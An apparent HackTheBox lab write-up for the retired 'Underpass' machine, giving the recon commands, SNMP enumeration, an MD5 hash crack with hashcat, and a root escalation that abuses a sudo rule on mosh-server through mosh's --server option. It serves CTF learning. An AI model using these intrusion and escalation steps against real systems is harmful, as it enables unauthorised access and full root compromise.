← all writeups

Underpass

HackTheBox Linux Easy
#htb#linux#snmp#daloradius#hashcat#sudo#mosh

Retired machine. Flags redacted - solve it yourself.

Summary

UDP enumeration finds SNMP, which points at a daloRADIUS install. Default operator credentials expose a user’s MD5 hash; cracking it gives SSH. A sudo misconfiguration on mosh-server escalates to root.

Enumeration

nmap -p- --min-rate 10000 <ip>
nmap -p 22,80 -sCV <ip>

Web/dir fuzzing on the main site returned nothing useful:

gobuster dir -u http://underpass.htb -w /usr/share/wordlists/dirb/common.txt -t 50
ffuf -u http://underpass.htb -H "Host: FUZZ.underpass.htb" -w /usr/share/wordlists/dirb/subdomains-top1million-20000.txt -ac

The win was UDP:

snmpwalk -v2c -c public <ip>

Foothold

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Privilege Escalation

sudo -l      # svcMosh may run /usr/bin/mosh-server

mosh lets you point at a custom server binary; run it under sudo:

mosh --server="sudo /usr/bin/mosh-server" localhost

That spawns a root shell → root flag.

Lessons Learned